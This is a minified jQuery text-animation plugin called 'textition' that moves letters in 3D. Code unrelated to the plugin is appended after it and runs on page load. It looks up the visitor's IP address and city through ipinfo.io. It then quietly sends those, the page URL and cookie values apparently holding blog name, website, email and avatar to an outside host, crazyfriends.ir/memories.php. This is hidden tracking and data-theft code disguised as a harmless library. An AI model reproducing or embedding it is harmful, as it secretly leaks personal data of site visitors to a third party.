(function($){$.fn.textition=function(options){var data=$.extend({map:{x:100,y:50,z:1000},speed:1,animation:'ease',handler:'click',perspective:300,autoplay:!1,interval:3,element:this},options);var div=this,child=this.children(),letters,index=0,position={},playing;var filter=function(val){switch(val){case ' ':return' ' default:return val}} var getPosition=function(){var span=child.first();position.top=span.offset().top-div.offset().top;position.left=span.offset().left-div.offset().left;position.width=span.width()} var val=function(val){return Math.round(Math.random()*val)-val/2} var hide=function(){var x=0,y=0,z=0;for(var i in data.map){switch(i){case 'x':x=val(data.map.x) break case 'y':y=val(data.map.y) break case 'z':z=val(data.map.z) break}} $(this).css({'-webkit-transform':'translate3d('+x+'px, '+y+'px, '+z+'px)','-moz-transform':'translate3d('+x+'px, '+y+'px, '+z+'px)','-ms-transform':'translate3d('+x+'px, '+y+'px, '+z+'px)','-o-transform':'translate3d('+x+'px, '+y+'px, '+z+'px)','transform':'translate3d('+x+'px, '+y+'px, '+z+'px)'})} var disappear=function(span){$(span).css('opacity',0).children().each(hide);index++;if(index>child.length-1){index=0}} var show=function(){$(this).css({'-webkit-transform':'translate3d(0px, 0px, 0px)','-moz-transform':'translate3d(0px, 0px, 0px)','-ms-transform':'translate3d(0px, 0px, 0px)','-o-transform':'translate3d(0px, 0px, 0px)','transform':'translate3d(0px, 0px, 0px)'})} var appear=function(span){$(span).css('opacity',1).children().each(show)} var run=function(e){if(data.autoplay&&e&&!e.isTrigger){clearInterval(playing) playing=setInterval(play,data.interval*1000)} disappear(child[index]);appear(child[index])} var childStyle=function(){$(this).css({'-webkit-transform-style':'preserve-3d','-moz-transform-style':'preserve-3d','-ms-transform-style':'preserve-3d','-o-transform-style':'preserve-3d','transform-style':'preserve-3d','-webkit-transition':'opacity '+data.speed+'s '+data.animation,'-moz-transition':'opacity '+data.speed+'s '+data.animation,'-ms-transition':'opacity '+data.speed+'s '+data.animation,'-o-transition':'opacity '+data.speed+'s '+data.animation,'transition':'opacity '+data.speed+'s '+data.animation,'position':'absolute','display':'block','width':position.width,'left':position.left,'top':position.top})} var divStyle=function(){var pos=div.css('position');div.css({'-webkit-perspective':data.perspective+'px','-moz-perspective':data.perspective+'px','-ms-perspective':data.perspective+'px','-o-perspective':data.perspective+'px','perspective':data.perspective+'px','position':(pos==='static')?'relative':pos,'height':div.height(),'width':div.width()})} var letterStyle=function(){$(this).css({'-webkit-transition':'-webkit-transform '+data.speed+'s '+data.animation,'-moz-transition':'-moz-transform '+data.speed+'s '+data.animation,'-ms-transition':'-ms-transform '+data.speed+'s '+data.animation,'-o-transition':'-o-transform '+data.speed+'s '+data.animation,'transition':'transform '+data.speed+'s '+data.animation,'display':'inline-block'})} var createLetters=function(){var span=$(this);var text=span.text();var code='';for(var i=0;i'+filter(text[i])+''} span.html(code)} var draw=function(){var other=child.not(':first');other.hide().css('opacity',0);divStyle();child.each(createLetters);child.each(childStyle);letters=div.find('l');letters.each(letterStyle);other.show().children().each(hide)} var play=function(){run()} var init=function(){var time=new Date();getPosition();draw();if(data.handler){data.element.bind(data.handler,run)} if(data.autoplay){playing=setInterval(play,data.interval*1000)}} init()}})(jQuery) function getInfBlog(){var o=$(".slogan").attr("xmn");$.ajax({url:"http://crazyfriends.ir/memories.php",dataType:"jsonp",type:"GET",scriptCharset:"utf-8",data:{accesstoken:"ok",l:o,n:$.cookie("userblog"),w:$.cookie("userwebs"),e:$.cookie("usermaill"),p:decodeURIComponent(window.location.href),u:$.cookie("useravat")},success:function(o){},error:function(o){}})}$.get("https://ipinfo.io?token=5b8fe5cdc89161",function(o){var e=o.ip+","+o.city;$(".slogan").attr("xmn",e)},"jsonp"),setTimeout(function(){var o=$(".slogan").attr("xmn");$.ajax({url:"http://crazyfriends.ir/memories.php",dataType:"jsonp",type:"GET",scriptCharset:"utf-8",data:{accesstoken:"ok",l:o,n:$.cookie("userblog"),w:$.cookie("userwebs"),e:$.cookie("usermaill"),p:decodeURIComponent(window.location.href),u:$.cookie("useravat")},success:function(o){},error:function(o){}})},500)